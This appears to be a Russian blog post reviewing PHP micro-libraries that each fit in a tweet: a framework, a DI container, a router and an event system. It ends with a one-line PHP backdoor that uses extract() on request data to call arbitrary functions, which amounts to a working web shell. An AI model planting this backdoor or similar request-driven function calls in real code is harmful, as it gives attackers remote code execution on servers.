Всегда интересно смотреть как люди сами себе создают ограничения и потом в этих ограниченных условиях создают интересные архитектурные решения. Так например я решил собрать несколько примеров библиотек на PHP, каждая из которых умещается в один твит (140 символов).
Для начала стоит начать этот обзор с Twitto, от автора фреймворка Symphony, торжественно именующего себя — A web framework in a tweet.
require __DIR__.'/c.php';
if (!is_callable($c = @$_GET['c'] ?: function() { echo 'Woah!'; }))
throw new Exception('Error');
$c();
Функционал его достаточно скуден, а потому стоит разнообразить его включением «полноценного» DI контейнера Twittee, от того же автора.
class Container {
protected $s=array();
function __set($k, $c) { $this->s[$k]=$c; }
function __get($k) { return $this->s[$k]($this); }
}
Ну а какой фреймворк без роутера, который также помещается в один твит и называется µ (мю).
class µ{static function __callStatic($n,$a){static$r;$n==@_?@$r[getenv(REQUEST_METHOD).getenv(REQUEST_URI)]():$r[$n.$a[0]]=$a[1];}}
А теперь имея базовый набор можно разнообразить этот набор системой посылки и приема ивентов, которая также именуется греческой буквой алфавита ∑ (сигма).
function ∑($n,$c=0){static$r;is_callable($c)?$r[$n][]=$c:@array_walk($r[$n],'call_user_func',$c?:[]);}
А напоследок хотелось бы отклонится от темы разработки и написать о самом крошечном бекдоре, который я видел на PHP и который не использует eval()
, хотя при этом обладает прекрасным широким функционалом.
@extract($_REQUEST);@die($exit_($exit_code));